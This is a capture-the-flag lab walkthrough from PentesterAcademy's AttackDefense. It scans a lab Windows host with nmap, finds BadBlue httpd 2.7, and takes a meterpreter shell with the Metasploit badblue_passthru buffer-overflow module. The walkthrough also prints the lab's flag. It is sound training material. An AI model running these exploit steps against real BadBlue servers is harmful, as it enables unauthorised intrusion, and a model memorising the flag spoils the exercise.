ATTACK
DEFENSE
by PentesterAcademy

Name	Vulnerable Easy File Sharing Server
URL	https://attackdefense.com/challengedetails?cid=1944
Type	Windows Exploitation: Basics

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the "target" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.0.77
root@attackdefense:~#
```

Step 2: Run an Nmap scan against the target IP.

Command: nmap -Pn 10.0.0.77

```
root@attackdefense:~# nmap -Pn 10.0.0.77
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-17 13:19 IST
Nmap scan report for ip-10-0-0-77.ap-southeast-1.compute.internal (10.0.0.77)
Host is up (0.0029s latency).
Not shown: 991 closed ports
PORT       STATE SERVICE
80/tcp     open  http
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
root@attackdefense:~# █
```

Step 3: We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.0.77

```
root@attackdefense:~# nmap -sV -p 80 10.0.0.77
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-17 13:24 IST
Nmap scan report for ip-10-0-0-77.ap-southeast-1.compute.internal (10.0.0.77)
Host is up (0.0030s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.92 seconds
root@attackdefense:~# █
```

Step 4: We will search the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue 2.7

Step 5: There is a metasploit module for badblue server. We will use PassThru remote buffer overflow metasploit module to exploit the target.

Commands:
msfconsole
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.0.77
exploit

We have successfully exploited the target vulnerable application (badblue) and received a meterpreter shell.

Step 6: Searching the flag.

Command: shell
cd /
dir

type flag.txt

This reveals the flag to us.

Flag: 70a569da306697d64fc6c19afea37d94

References

1. BadBlue 2.72b - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
2. Metasploit Module
   (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)